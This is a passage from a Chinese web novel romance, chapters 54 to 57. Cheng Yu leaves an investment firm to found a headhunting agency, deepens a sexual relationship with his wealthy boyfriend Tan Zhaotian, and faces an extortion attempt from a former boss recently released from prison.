非常爽快果断的：“来，我让人事发offer过来，你直接签。不管景康那边你离职需要多久，我和陆总都可以等。” 陶易恒默了默。 程郁：“还有什么疑……” “不是。” 陶易恒两手握着搓了搓：“我就是觉得……” “我签。” “offer给我吧，我签。” 陶易恒看着程郁道：“程郁，你真的变化好大。” “我还记得你在景康的时候，只是个投资助理。” “没想到才几年，你已经能够独当一面了，比我这个投资圈的老油条看起来都厉害。” “而且你吧……” 陶易恒看了看程郁的脸，程郁的身上，还有程郁搭在桌沿的左手手腕上的那条链子，说：“你是不是全身都是名牌啊？我怎么觉得你比你们陆总穿得都要好啊。” “我现在对你，可以说完全刮目相看。” 陶易恒有一句话没说，他动摇，除了想换个领导、更好的待遇、老婆劝这些，还有一点，是程郁流露在外的在他眼中的形象气质。 真的，特别特别特别的高端高级。 赫然是陆泽深这类顶级精英人才有的气质气场和体面优雅。 陶易恒看了就忍不住想，是不是他去了经纬，他也会变成这样。 程郁沉稳又真诚地笑了笑：“谢谢，我就当你夸我了。” 又耸肩，坦然淡定道：“最近谈恋爱，我确实被养得不错。” 说着起身，伸手。 陶易恒也跟着起身。 程郁和陶易恒握着手，从容微笑道：“我谨代表经纬投资，欢迎陶总的加入。” 第54章 当晚，公寓厨房的岛台边，看着谈兆天把装袋的蔬菜水果一份份地放进冰箱，程郁拿手撑着下巴，看着男人道：“你真的把我‘养’得蛮好的。” 嗯？ 谈兆天边放着东西，边转头看了看程郁。 程郁像在欣赏什么似的，目光一直专注深切地看着男人。 看得谈兆天还没收拾完冰箱，便转身越过岛台，来到程郁身边，弯腰俯身低头，和程郁亲了亲。 程郁笑着回吻，抬手摸摸男人的脸，承诺：“我以后也会把你‘养’得很好的。” 谈兆天也笑，边亲边温声问：“怎么‘养’？” 程郁两只手都捧着男人的下巴，吻了吻，说：“土里挖个小坑，把你插进去，拿土盖好，浇浇水、晒太阳、施肥。” 谈兆天忍俊不禁，笑得胸口都在震颤。 程郁偏头，又吻了吻男人的嘴唇。 谈兆天含着笑：“嫁吗？” 程郁“异想天开”，说：“等你发芽抽条开花结果，长成参天大树一样高的时候，我就嫁给你。” 谈兆天闻言又开始笑得胸口震颤。 他抬手捞了程郁的后脑，来了一个深吻。 一周后，程郁在公司迎来了过来签合同的陶易恒，亲自带着陶易恒进了小会议室，与人事沟通入职、签劳动合同。 一切办妥，人事离开，陶易恒一脸舒心并愉快地坐着，和程郁道：“这次我真得谢谢你。” “我吧，真的是个不喜欢动不动辞职跳槽的人，哪儿待久了，就爱在那儿窝着。” “就因为这个，我才能在景康待那么久，又受了陈平一肚子气。” “这次要不是你，我也不会靠自己找到待遇这么好的新单位，真的谢谢你。” “不用这么客气。” 程郁笑：“我们以前是同事，现在又是同事了。” 大方地表态：“以后有什么事，或者工作哪里有什么问题，你不方便和陆总开口的，都可以和我说。” “那真是太好了。” 陶易恒是真的觉得不错：“我最怕和领导沟通不来了。” “有你在，我真的很放心。” 开心地聊了会儿，程郁送陈平从小会议室出来，两人边走边说着话。 到公司门口，等电梯，陶易恒突然想到什么，特意压低声音，凑近，对程郁道：“对了，有件事……” “我没别的意思啊，我也是好心，想提醒你下。” “我听说柳大宇快出来了。” “他减刑了，好像出狱就最近吧，我也是听别人说的。” 程郁淡定的：“放心吧，我有数。” 陶易恒：“你有数就行，柳大宇这人挺记仇的，他要出来，肯定会找你麻烦，你最好有个心理准备。” 程郁是真的心里有数，也是真的没把柳大宇出狱多当回事。 他当年能送柳大宇进去，就能再把人送进去一次。 程郁这两天满脑子是别的——他前段时间不是忙着给公司招人，还签下了陶易恒么。 在此期间，他突然有了点灵感，知道自己如果创业，可以做哪个方向了——“搞人”。 卖货，他不知道卖什么；做投资或金融，他没有背景又没有资源，也难起步；别的，他没有经验。 但“搞人”，做猎头，门槛相对就低多了，恰好他对CBD这边的大小公司也熟悉，认识的人也多。 程郁想到自己能做什么之后，琢磨了两天，越想越觉得这个可以做。 回公寓，他搂着谈兆天的脖子坐在男人怀里，和谈兆天提了自己的一些初步想法。 谈兆天自然支持：“想做就去做。” 程郁描述了下创业做猎头的一些情况：“不卖东西，没有备货压力；不做金融和投资，也没有太多资金压力。” “初期也不用把摊子铺得那么大。” …… 谈兆天不懂猎头这行，一直认真地听着。 程郁征询他：“你觉得可以做吗？” 谈兆天点头：“你想做什么我都支持，不用顾虑太多，想做就去做。” 程郁被这么鼓励着，也心知谈兆天会在各个方面无条件的支持自己，心里便非常的心动。 考虑再三后，程郁终于在九月底的这日下定决心，决定辞职，自己创业。 于是十一休假前，程郁便向陆泽深提了自己准备辞职自己创业的事。 陆泽深毫不意外，早有心理准备，他只是问程郁准备做什么，在得知程郁准备做人力资源这行之后，点点头，淡定道：“以后少挖我的人，顺便帮我多挖点人。” 程郁笑。 陆泽深再次提醒：“记得帮我找好你的接班，你知道我需要哪种人。” “当然。” 程郁承诺：“一定帮你找个最合适的。” 于是十一，程郁没和戎巍一起回老家，天天和谈兆天出来看写字楼。 十一结束前的一天，程郁相中了CBD这边的一套，顺利签下。 等中介走了，程郁走在空荡荡的办公间内，心里有股别样的畅快——他终于，又往前跨了一大步。 未来虽然尚不分明，但他有信心，也有做好的决心。 谈兆天走到程郁面前，含着笑，问：“程总，开心吗？” “超级——” 程郁抬手圈住男人了的脖子，贴过去，一脸灿烂：“——开心！” 谈兆天搂程郁的腰，把人抱起来转了两圈。 程郁笑得比他自己说得还要开心。 十一过后，回公司，程郁便正式提交了离职申请，同时开始帮谈兆天物色新特助。 本来按照程郁的职位，他想走，怎么也得拖个个把月，把该交接的都交接好，各种离职文件签署好。 结果没两天，就程郁的离职，新加坡的总公司那边发来了文件，说总公司会派人过来顶替程郁的职位和工作，程郁只要和新特助办好离职交接的工作就好。 这份文件是总公司先发给的经纬这边的人事，然后顺便抄送了陆泽深。 像什么呢？ 像总公司下达指令，陆泽深都没有立场拒绝。 这就非常微妙了。 陆泽深可是大中华区的CEO，他的特助，难道他还没有自己决定的权利吗？ 需要由总公司来安排？ 这件事目前只有人事经理、程郁、陆泽深知道，尚未在公司传开。 人事经理也默默给自己捏了把汗，生怕由此得罪陆泽深，别回头陆泽深气不过，不能把总公司如何，直接把自己开了。 陆泽深倒是没说什么，该干嘛干嘛。 只是这日中午在餐厅和程郁一起吃饭的时候，程郁说了句：“看来不光不用找新助理，陆总还有希望做我公司的第一个客户。” 陆泽深淡定的：“话别说得太早。” 程郁自顾道：“以陆总的薪资水平，到时候抽取的佣金可是一笔巨款。陆总不会亏，我也会赚。” 两人再次达成了某种默契。 十月19号，与新加坡总公司那里派来的新特助办好工作的交接，所有离职手术也办妥之后，这日午饭前，程郁收拾自己的东西准备离开经纬。 他往人事给的纸箱里放自己的个人物品，最后，他把桌角那只有段时间没有插花的小玻璃瓶也拿起来，看了看，一起放进箱子里，最后是摆在桌角的鲜花。 程郁抱着箱子起身的时候，很多同事也起身：“程总。” 不少人都要送他。 程郁抱着箱子迈步往外走，笑了笑，爽朗大方道：“以后不是同事，不还是朋友么。” “别送了，上班吧，我自己走就行。” “师父父。” 别人都回工位了，小念还跟着程郁。 程郁等出了办公区，上走廊，低声：“LiLY他们有经验，不可能让总公司来的人想怎么样就怎么样。” “你刚转正没多久，做什么事不要瞎出头，听LiLY的。” 小念跟着他：“我都打离职了啊，马上就要去你那儿了。” 程郁弯唇：“样子总得做做吧。” “好了，回去上班吧，我自己下楼。” 程郁走出经纬，连头都没有回。 进电梯转身，抬头看见不远处玻璃门内的“经纬投资”几个字，又见梯门缓缓合拢，仿佛代表一个阶段的落幕。 梯门彻底合拢之前，程郁默默勾唇笑了笑——他坚定的，走向了下一个阶段。 电梯抵达一楼前，程郁给陆泽深发：【陆总，我走了。】 抱着箱子走出大楼的时候，谈兆天已经在大G旁等待了。 见程郁出来，谈兆天过来，从程郁手机接过箱子。 程郁把箱子给了谈兆天，伸手，把箱子最上面那捧花抱在了怀里，说：“就当是离职的庆贺鲜花了。” 结果两人走回大G旁，程郁一拉车门，看见了摆在副驾上的大捧红色玫瑰。 程郁马上笑了。 他把自己怀里的花送去后座，抱起副驾的花，绕过车头，来到谈兆天身边，刚一走近，谈兆天便偏头凑近吻了吻他的唇，说：“恭喜我们程总，真实开启新阶段。” “只有花呀？没有别的？” 程郁开玩笑的。 他一手抱花，一手抬起，捞了男人的后颈，倾身过去吻了吻。 鲜花，爱人，新阶段。 一切都是那么美好。 第55章 而当晚，饭后，撸完狗，又玩了会儿，程郁准备回自己那边的时候，谈兆天没让程郁直接走。 男人高高地立在程郁面前，神情幽深地说：“不能不走么。” 不走？ 程郁秒懂，神情和眼神幽幽，问：“不走的话，我睡哪儿？” “和老虎睡吗？” “还是和你睡？” 谈兆天语气低沉：“总不可能让你睡狗笼子。” 程郁故意的，和男人说得有来有往，问：“不睡狗笼子，睡哪儿？” “你说呢？” 谈兆天也反问。 程郁就笑了。 谈兆天也笑。 程郁伸手，在男人肩头领口摸着，不紧不慢：“你原来在打这个主意啊？” 谈兆天注视他：“不行？” 又说：“我们已经在一起了，合法的。” 合哪门子法啊？ 又不是结婚。 程郁闷笑，说：“我要是拒绝呢。” “那你就得跟我说说我后面努力的方向。” 谈兆天语气认真，不似玩笑。 “嗯……” 程郁想了想，问：“你特别想吗？” 谈兆天：“你不想？” “没想过这个问题。” 程郁的语气半真半假。 谈兆天来了句：“你不行？”？ 你才不行！ 程郁瞪。 谈兆天不开玩笑了，手抬起，指背抚了抚程郁的脸：“我真的想。” “你知道的，我喜欢你。” “我肯定想。” “而且你也让我亲，亲多了，我自然就想。” 程郁也不开玩笑了，从容又自然道：“那我今晚留下好了。” 谈兆天一顿，非常意外。 程郁又神情自然地问：“你买套了吗？还有润滑剂。” 谈兆天诧异：“你同意？” “我同意啊。” 程郁接受度良好，点头：“可以啊，如果你想的话。” “虽然我最近忙着辞职，确实没想过这些，你想的话，我留下好了。” 理所当然的语气：“我都和你在一起了，上个床而已，还用纠结吗？” 谈兆天惊讶归惊讶，没二话，立刻弯腰，打横抱起了程郁：“你说的。” 就像生怕程郁后悔、跑了。 程郁憋笑，看着他，手臂抬起，来到谈兆天肩后，捏了捏男人的后颈：“这么想啊？” 谈兆天连拖鞋都蹬了，光着脚抱着程郁上楼梯：“不想不是真男人。” 还走得很快。 程郁又问了遍：“有套吗？” “有。” 谈兆天：“之前买了一盒。” 程郁：“什么时候买的？” 谈兆天：“三四天之前。” 程郁又憋笑，知道谈兆天肯定想了好几天了，忍到今天才明说。 上了楼，谈兆天把程郁送上床，他人站在床边，表情隐忍又快速脱了上衣，又去床头，从床头柜的抽屉里拿出一盒套，还有润滑剂，一起丢在床头。 刚丢下，谈兆天就被坐起身的程郁勾着脖子拉下来，弯腰俯身，贴得很近。 然后程郁亲了亲男人的嘴唇，声音温柔地说：“我没有经验，你要轻一点。” “好。” 谈兆天答应。 而显然谈兆天高估了自己第一次的隐忍掌控度。 程郁受了点罪，毕竟是第一次。 他一点力气都没有，趴在床上，累得只想睡觉。 谈兆天凑过来，气息和呼吸都包裹着他，对他说：“我带你去洗一下，不然会生病的。” “嗯。” 程郁都没听见自己的声音，回答完全凭本能，又很快闭上了眼睛。 谈兆天抱他去浴室。 程郁睡了会儿，重新有点意识的时候，他已经洗完了澡，穿上了干净的内裤和居家服上衣，躺在被子里、谈兆天怀里，床上的被单都换成了新的。 谈兆天也在被子里、靠坐床头，见他睁开了眼睛，低头：“醒了？有没有哪里难受？” 程郁没力气，觉得累，“嗯”了声。 谈兆天声音温和：“难受吗？” “还好。” 后面有点疼，好在疼得不是很厉害。 程郁觉得怀抱很舒服，也都是谈兆天的气息，很有安全感。 他用脸在男人的怀抱里蹭了蹭，低声，很直接地问：“爽吗？” 谈兆天：“当然了。” 程郁很乖地挨在他怀里：“睡了，困。” 谈兆天亲亲他：“睡吧。” 声音特别的温柔。 程郁马上没了意识。 程郁后来醒了一次，睁开眼睛，一向自己一个人睡觉的他，几乎立刻感知到了床上另一人的存在。 是谈兆天。 男人的怀抱很温暖，也很结实。 程郁醒了片刻，便重新闭上了眼睛，安稳地睡了。 早上，程郁和谈兆天几乎是同一时间醒过来。 程郁是因为上班的生物钟，谈兆天则是因为震动的手机闹钟。 程郁迷迷糊糊地伸手去床头柜拿手机，摸了半天没摸到，下意识问：“几点了。” “七点二十。” 谈兆天很快便清醒了，马上转头看向程郁。 程郁也很快清醒了，有点难受的蹙了蹙眉头。 谈兆天坐起来，凑过去：“屁股疼？” 程郁疼得不光脑子清醒，理智和思路都回拢了，边拧着眉头边以一个又像翻身又像趴着一样的奇怪姿势坐了起来，抱怨道：“你是真没‘客气’啊，把我往死里折腾。” 谈兆天看向程郁身后：“我看看，是不是出血了。” “我谢谢你。” 程郁看过去：“我算是知道得痔疮是什么感觉了。” 谈兆天还在说：“我看看。” 程郁叹息：“不用看，是里面，里面有点疼。” 如实道：“还好，不严重，就是需要适应一下。” 说着看向谈兆天腰以下，无奈：“你这是自己拿橡皮泥捏的吗，那么大！” 谈兆天一下笑了，程郁要笑不要，嗔：“你还笑？” 说着，他自己也笑了。 程郁边笑边倒回去，手捂脸：“疼死了，腰也酸，背也疼，不知道的还以为我跟谁打架了。” 谈兆天伏过去，语气诚恳又温和道：“怪我，以后不会了，我一定注意。” 又有点无奈：“力道没收好，第一次，忍不住。” 承诺的温柔也没有做到。 程郁放下捂在脸上的手，用手摸谈兆天的脸，又问了一遍：“爽吗？” “当然。” 谈兆天吻他的唇，又许诺：“等我掌握了技巧，熟练了，以后也会让你爽的。” 程郁笑：“多少次能熟练啊？拿我当小白鼠？” “你怎么可能是小白鼠。” 谈兆天边说边吻他：“你是我的心尖尖。” 程郁：“你的心尖尖昨天快累死了，今天还疼。” 谈兆天就说：“我补偿你。” 程郁：“怎么补偿啊？” 谈兆天：“我给你转一千万。” 程郁就笑，又好笑又无奈，锤了男人一下：“又砸钱，什么都砸钱。” 谈兆天便问：“或者你想怎么补偿？” “不用你补偿。” 程郁：“这有什么好补偿的。” “亲亲我好了。” 谈兆天低头亲程郁，么么么的一连亲了好多口。 程郁笑，谈兆天也笑，两人搂在一起，气氛格外的甜蜜。 程郁当天到新公司去看装修的时候，无论下车、进电梯、还是走进公司，笑意一直含在唇边。 他心里还想：难怪有些男的就算单身，也有或固定或不固定的床伴，原来那种事真的很爽。 是的，昨晚疼归疼，爽是真的很爽，比自己动手DIY爽多了。 程郁想到，就有点忍不住回味。 他这会儿屁股确实也有点疼，倒没有很难受，就是有点不适感，可以忍耐。 谈兆天这时发来消息：【能正常走路？】 程郁：【能。】 谈兆天又发过来：【要不要去给你买点药？消炎的，或者用来抹的。】 程郁：【不用。】 又损：【大哥，既然知道，下次温柔点。】 谈兆天：【我知道。】 跟着发过来一张照片，说：【我在超市买这个。】 程郁点开照片，发现是拍的一盒避孕套，默默瞪眼——他特意跑去超市买这个？？ 程郁服气，回：【大拇指.jpg】 谈兆天又发过来一张照片，拍的是丢在购物篮里的一堆避孕套，数量多到令人发指。 程郁看了差点呛一口，耳尖都有点红了。 他不理谈兆天了，放下手机，去看工人弄天花板的空调。 程郁晚上回公寓，一进门，谈兆天走向他：“还难受？” 程郁抱起老虎，摸着狗头，揶揄：“大哥，我一个男的，堂堂男的，没那么脆弱。” 谈兆天唇边含了点笑：“吃过了吗？” 程郁摸着怀里的狗：“有吃的吗？我随便垫了点饼干，没吃晚……” 他还没说完，谈兆天突然一步靠近，低头凑近，在程郁嘴上很温柔地亲了下。 程郁的嘴角马上就压不住了，笑着，回吻男人。 谈兆天给程郁煎牛排，程郁蹲在地上和老虎玩儿。 晚饭做好，餐桌边坐下，程郁吃饭，谈兆天坐一旁看着他吃。 程郁吃得不紧不慢，吃相文雅，见谈兆天一直看着自己，他也转头，看看谈兆天。 谈兆天这时道：“阿姨今天给我发消息了，说小卖部生意不错。” 程郁点头：“她也跟我说了。” 聊着：“先干着吧，能赚一点是一点，等以后不做这个了，可以做点别的。” 谈兆天看着程郁，手抬起，手背轻轻蹭了蹭程郁的脸颊。 程郁：“肉麻。” 谈兆天这时说：“晚上是你过来睡，还是我去你那儿。” 程郁吃着牛排，转头幽幽男人，说：“你想得还挺美的。” “不然？” 谈兆天：“放着男朋友在身边，只看看吗？” 程郁瞥男人，故作傲娇：“谁要跟你睡觉啊。” 谈兆天直白赤裸地来了句：“我套都买了。” 程郁损：“是啊，买了一堆。你的‘志向’这么远大吗。” “十几岁的时候有这么远大的‘志向’，t大你都能考上了吧？” 谈兆天唇边的笑意绽开：“不上大学，大学有什么意思，我就上你。” 程郁瞄过去：“流氓。” 谈兆天又笑，不开玩笑了，正经道：“不是要做，就想抱着你睡。” 程郁吃着，也正经道：“就算在一起了，没正式同居的话，一般也是各睡各的。” 谈兆天问：“你不要和我睡一起？” 程郁吊他：“看你表现咯。” 谈兆天好笑，知道程郁逗他的。 等不久后，程郁吃完，把碗碟叉子送去水池，谈兆天跟过来，贴在他身后，两臂撑在流理台上，就像用身体将他围住了。 程郁转过身，身体略微有些后仰，看面前的男人，抬着视线，问他：“你干嘛？” 谈兆天看着程郁，略一低头，便吻到了程郁的嘴唇，很轻柔的一下，像羽毛在唇上扫过，有点痒，逗笑程郁。 程郁也看着男人的眼睛，故意道：“我让你亲我了吗？” 谈兆天又低头亲了一下，亲完道：“没有。” 程郁闷笑，嘴角吊起：“坏蛋。” 谈兆天又低头要亲，这次程郁仰头，躲开了，两人都在笑，随笑意震颤的胸口也是贴在一起的。 谈兆天不去亲了，看着程郁：“真不要一起睡？” 程郁想了想：“说了啊，看你表现。” 谈兆天特别有耐心：“想要我怎么表现？” 举了个例子：“帮你咬？” 程郁有点无语，说：“你真流氓，让你表现，你就想到这个？” 谈兆天还真的重新认真想了想，说：“我要是让你睡在钱里面，你觉得这个表现怎么样。” 睡在钱里面？ 程郁不解：“这怎么睡？” 谈兆天直起腰，转身，来到身后的岛台前，伸手打开柜门，程郁好奇地往里一看，惊呆了——岛台下面全是一捆一捆的钱，一捆就是平时谈兆天送他的60万，而岛台大，岛台下的柜子也大，塞满了钱，根本算不清具体有多少。 程郁震惊：“你到底在银行取了多少？” 谈兆天伸手进柜子里拿出一捆捆的钱放到岛台上，回：“在你这里，没有上限。” 说着，回到程郁面前，搂着程郁的腰，把人轻轻一抱，抱起来，转身，再来到岛台前，让程郁坐在岛台上，挨着那一捆捆的钱。 程郁叹：“你是会砸钱的。” 谈兆天站在程郁敞开的腿中间，看着他，说：“现在觉得我的表现怎么样？” 程郁抬手，胳膊架到男人肩膀上，搂着脖子。 他故作思考的神色：“嗯……勉勉强强吧。” 谈兆天作势又要去岛台下拿钱，程郁笑起来：“好了好了，行了，别拿了。” “好，表现特别好，我很满意。” 谈兆天抬手指指自己的嘴巴，程郁笑着，凑过去亲了口。 谈兆天挑眉：“就一下？” 程郁笑着，又去亲了亲，亲了第二口第三口第四口。 谈兆天觉得这样就像小鸡啄米一样，忍不住被逗笑。 他笑着，抬手捧住程郁的脸，偏头，与程郁吻到了一起。 程郁闭眼回吻着，手慢慢地抚上男人的肩膀胸口，隔着薄薄的布料缓缓摸着、轻轻摩挲。 两人的唇舌气息缠绵而温柔地纠缠在一起。 亲着亲着，谈兆天还没忘了之前的话题，边吻边说：“晚上一起睡吗？” “不要了。” 程郁拒绝了，边吻边解释：“我怕到时候是我不肯放过你。” 谈兆天笑，唇分，眸光深邃地看了看程郁，又亲了亲，问：“你想做？” 程郁有些气息不定，微微地喘着，“嗯”了声。 他不说话，主动吻上男人，继续之前的缠绵和亲密。 他的手还从衣摆下方伸了进去，掌心尽情地抚摸谈兆天的腹肌和胸口。 摸着亲着，气息和氛围全乱了。 谈兆天吻程郁的耳后、脖子、喉结，程郁仰头，不知道什么时候，衬衫的扣子全开了。 谈兆天的头越埋越低，程郁抚着他后脑的掌心也忍不住按了按。 结束，程郁躺在岛台的一堆砖头里喘息，谈兆天擦干净嘴，站在岛台边看着他，说：“看来我表现不错。” 程郁向他伸手，谈兆天低头，程郁搂着他脖子，软着声音像是没力气一样道：“亲一下。” 谈兆天低头亲了亲他的嘴唇。 程郁改口了：“睡你这儿，不做了，昨天做过头了，腰酸。” “嗯，好。” 谈兆天拦腰抱起程郁，去楼上，那一岛台的钱管都不管。 程郁躺进二楼床上的时候，暗自缓缓的长长的匀了口气。 到处都是谈兆天的味道，他很喜欢，很有安全感。 谈兆天脱掉了上衣，床边俯下身，问程郁：“我这里有浴缸，泡个澡？” 程郁懒懒的样子，抬起下巴，凑近用嘴唇贴了贴谈兆天的脸，低声说：“澡我可以泡，但你忍得住吗。” “忍不住。” 谈兆天打横抱起程郁，往浴室走去。 当周的周六，早上已经十点多了，公寓的窗帘还掩得严丝合缝，床尾，露在空调被外的是四只挨得很近的脚。 片刻后，其中一只小一些的跷到另一只大两码的脚上，还用脚背轻轻蹭了蹭，刚蹭，大两码的那两只脚便将另外白皙的两只脚夹住了，床头也传来嬉笑声。 当天出门逛完回公寓后，程郁做了两件让自己开心的事： 第一件，他把买的衣服拿出来又试了试，还特意搭配了上下装，站在镜子前欣赏； 第二件，他把给谈兆天买的新牙刷和护肤品摆去了两边公寓的二楼卫生间。 只是看着两人的牙刷和护肤品摆在一起，程郁就觉得很开心。 程郁晚上还特意收拾了一些衣服和贴身衣物送到了谈兆天这边公寓二楼的衣柜。 也让谈兆天去收拾，拿一些去他那里。 这样无论他们睡哪边，至少都方便有衣服换。 结果谈兆天的衣服少得可怜，总共就那几件T恤和衬衫，日常最多的就是坎肩背心，凑满了白黑灰绿。 程郁看得很无语，当即就捧起手机开始网购。 谈兆天从身后搂贴着程郁，脑袋和下巴垫在程郁肩膀上，看程郁在淘宝上给他挑衣服。 程郁挑了会儿，突然说：“你顶到我了。” 谈兆天的一只手已经游进了程郁的衬衫下摆。 程郁看着手机，嗔：“别乱摸。” 谈兆天没听，一只大手在他身前到处跑。 程郁被摸得受不了了，手机不看了，转身，和谈兆天面对面地搂住，抬起下巴吻了吻唇，吻着吻着，动情了，两人一起往床上去。 第56章 几天后，程郁过来自己的公司这边看装修。 本来就不是毛坯，前公司搬离之前还留下了完好的办公室结构，稍微弄弄就行。 程郁过来看了看，觉得差不多了，明天就能让人送新的办公桌椅过来。 他往自己办公室的方向走，低头看着手机，找的会计事务所那边给他发消息，和他沟通公司注册和工商的事情。 午饭前，程郁下楼，到地库，走向自己的车。 突然感觉自己身后似乎有人，他奇怪了下，转头，但没有看见有谁。 程郁没多想，回过头，继续往自己的车走去。 宝马离开后，一个男人从地库一根柱子后走了出来，神色阴冷地看着车子离开的方向。 又过了两天，这日，程郁坐在公寓的餐桌边，用笔记本电脑看几个资深猎头的简历。 他需要员工，当然会找有相关经验的人。 正看着，谈兆天打来电话，说：“下楼。” 嗯？ 程郁下楼，到地库，以为谈兆天买了什么，一个人拿不了，喊他下楼一起拿。 刚出电梯，突然有车灯唰一下亮起。 程郁看过去，就看见谈兆天两手插兜地含笑看着他，站在一辆崭新的宾利前。 程郁看见宾利的时候就猜到了，因此格外惊讶，走过去，看看男人，看看宾利，又看看宾利，看看男人，问谈兆天：“送我的？” 谈兆天笑着：“喜欢吗？” 说：“车刚到，我就马上提回来了。” 程郁走近，看看车，睁大着眼睛，问：“你什么时候买的？” 谈兆天：“还记得之前我们在理工院遇到，你来敲我车玻璃吗？” “我猜你喜欢车，就订了辆。” 程郁更惊讶了：“我们那时候都不认识吧？” 谈兆天打开主驾车门：“开开看，看喜不喜欢。” 程郁走过去，没直接上车，弯腰探进目光看了看，看见内饰还是自己喜欢的酒红色，就算还没碰上方向盘，心里已经非常开心喜欢了。 他笑对谈兆天道：“好哇！原来是买来追人的，不是当礼物送的，没诚心。” 谈兆天好笑，把车钥匙递过去，含笑问：“怎么做都是错的？” “原谅你了。” 程郁翘着嘴角，笑着接过了车钥匙。 谈兆天把脸凑过去：“亲一下。” “干嘛。” 程郁故作傲娇，话虽这么说，马上凑过去，么的一下，亲了亲男人的脸，说：“看在那么贵的份上。” 谈兆天再次好笑，伸手，搂了程郁的腰，把人搂了贴过来，亲了亲，故作磨牙的样子，低声说：“除了下面，就嘴最硬。” “流氓！” 程郁闷笑着，抬手在男人胸口拍了下。 “看看车。” 谈兆天松手，拍拍程郁的腰。 又说：“买的欧陆，没有特别好，你先开。” “回头再给你换好的。” “这还不好啊？” 程郁抬腿低头跨进车。 谈兆天扶着车门弯下腰，说：“本来这车也不是买来送你当创业礼物的。” “到的晚，刚好碰到这个时候。” “我们程总出门，当然要开好车。” “怎么样？” 程郁把手握上酒红色的真皮方向盘，又看了看中控、扶手箱：“不错啊，不愧是几百万的车，比我的五系好。” 说着，程郁又冲弯着腰的谈兆天勾勾手指，谈兆天靠近，程郁亲了亲他，嘴甜道：“谢谢啦，男朋友。” 又说：“等改天我赚了钱，也给你买你喜欢的车。” 谈兆天笑着，心里别提多爽了。 钱赚了，就得这么花。 就这样，程郁开上了宾利，硬顶、双门、白色，搭配他那张脸和气质，无论出入哪里，赫然都是有钱人的规格。 程郁就是在这种情况下，与柳大宇来了场重逢。 当时是在他新公司大楼的地库，程郁出电梯，走了没几米，抬眼，便看见了从一辆大车旁走出来的柳大宇。 柳大宇起先一脸沉默阴沉地看着程郁，看着看着，他开始打量程郁，唇边勾起讽笑。 程郁止步，手里拿着车钥匙，隔得不远，平静地与柳大宇对视。 也是程郁先开的口，淡定的，说：“柳总出来了啊。” 柳大宇看着他的目光仿佛像要吃人。 他讽笑：“不都还是托了你的福？” 语气恶狠狠的：“要不是你，我能进去？” “柳总这说的什么话。” 程郁依旧平静的：“你不过是他们那群人做假项目骗公司公款的替罪羊而已。” “不是我送你进去，是你自愿替那些人进去坐两年牢，把事儿平了。” ——程郁当年进景康，因为表现好，在同批进公司的应届生里，第一个被分去了项目组。 当时他们那个项目组，顶头的boss，就是柳大宇。 而柳大宇那个时候就联合公司的几个高管，在公司之外和别人一起做假项目，套取公司的投资款。 程郁当年不过是个小角色，当然不可能知道柳大宇他们几个高管做的事情。 但柳大宇当时作为部门boss，明的暗的恶心了程郁很多次，程郁受不了了，就开始暗暗搜集柳大宇的负面消息，也是他运气不错，被他发现了柳大宇吞公司投资款的证据。 后来柳大宇因一些事，要送程郁去当替罪羊，让公司把程郁开了，程郁为自保，检举了柳大宇，不久东窗事发，柳大宇被公安扣了，随后被判了几年。 当年事情发生的时候，程郁其实顶了很大的压力，他那时候甚至还在试用期，没人帮他，他全靠自己。 柳大宇被判的时候，柳大宇的家人来公司找过程郁无数次麻烦，程郁也都扛下来了。 他那时候根本不能失去景康的工作，他明白自己得到这份工作不容易，一旦失去，他很难再进投资圈，日后也发展有限。 因此程郁忍了，什么都忍了，一直熬到所有人都淡忘柳大宇，熬到自己有了些工作经验和能力，熬到自己从景康跳槽去了经纬。 而程郁早在柳大宇进监狱的时候，就知道一切并没有结束。 如今柳大宇出来了、找上门，程郁根本不意外。 程郁甚至在说完刚刚那些话之后，主动对柳大宇道：“你来找我，有意义吗？” “你现在可动不了我。” 柳大宇再次讽笑：“以为开上宝马，住上高档公寓，给人当上特助，能自己创业，就了不起了？” “你这种人，如果不是脱了裤子撅着屁股给人艹，能得到现在这些？” “啊。” 程郁故作恍然：“你出来了之后，是这么看我的啊？” 跟着幽幽道：“当初不是你，给我‘引荐’的这条路吗？” 程郁至今没忘记柳大宇在饭局上给他灌酒、想把他送到别人床上的这段经历过往。 柳大宇，几乎可谓是程郁的“职场启蒙”，让那时候刚毕业的程郁知道，这个世界上，无冤无仇，一个普通人会有多黑的心。 柳大宇闻言，阴沉着脸道：“确实是我，我给你‘机会’，你却不知好歹。” 程郁懒得就过去在这儿反复掰扯：“直说吧，你找我，想干什么？” 柳大宇逼视着程郁：“我坐了几年牢，老婆都跟我离婚了，你却在外面过得风生水起，你说我怎么咽的下这口气？” “我现在没有工作，也找不到工作，没有钱，你得负全责。” “你要是不想我以后天天找你麻烦，那就大方点，掏点钱，至少让我也开上宝马吧？” 程郁淡定的：“就这样？” 柳大宇恶狠狠的：“我要钱！要房子！要车！要女人！” “这些你如果不能给我，我不介意在CBD这边和人到处说说你的过往经历，或者给你抹点黑泼点脏，天天找你麻烦，让你公司都开不了！没脸开！” “你要脸，我可不要。” “我一个光脚的，还怕你这个浑身名牌的吗？” 程郁看着柳大宇，让柳大宇把这些话都说完了。 然后，程郁走近几步，看着柳大宇，非常平静地说：“你动不了我的。我能送你进去，你出来了，怎么会觉得我会怕你？” 他从裤兜里摸出自己的钱夹，又从钱夹的一个隔层里拿出一样东西，举起来，示意给柳大宇：“这个U盘，你回去好好看看。” 程郁说着，再次走近，把那个U盘塞进了柳大宇衬衫胸口的口袋里，注视着柳大宇，平静道：“回去仔细看清楚，好好看。” 说完便擦身而过，手里的车钥匙一按，令不远处那辆停在车位上的宾利解锁的同时亮起了车灯。 柳大宇看过去，愕然发现程郁今天开的不是宝马，是辆崭新的宾利。 他流露不可思议、不敢置信，又伸手，拿出了口袋里的那个U盘。 柳大宇根本不信程郁的淡定和这个U盘，他觉得程郁是装的，根本就是诈他的。 可看见程郁今天开的是辆几百万的宾利欧陆，柳大宇不敢相信的同时又满心疑惑。 他想程郁到底在傲什么狂什么？！ 他以为他在CBD这里算什么屁？！ 柳大宇攥紧手里的U盘，又恶狠狠地目送宾利离开。 他心里嫉妒憎恨得快疯了。 程郁如今混得这么好，几乎像把刀，狠狠扎在他心口。 他又恨又气！ 第57章 离开地库，柳大宇不久后见了陈平，这个陈平，自然是景康的陈平，陶易恒之前的顶头上司，也是当年和柳大宇一起密谋骗公司投资款的高管之一。 见了陈平，柳大宇相当不爽，他在陈平面前大骂程郁，又让陈平去想办法，一定要整死程郁。 结果陈平摸摸鼻尖道：“你出都出来了，拿着以前那些钱找个地方逍遥快活不好吗，干嘛跟程郁搅合到一起啊？” “你什么意思？” 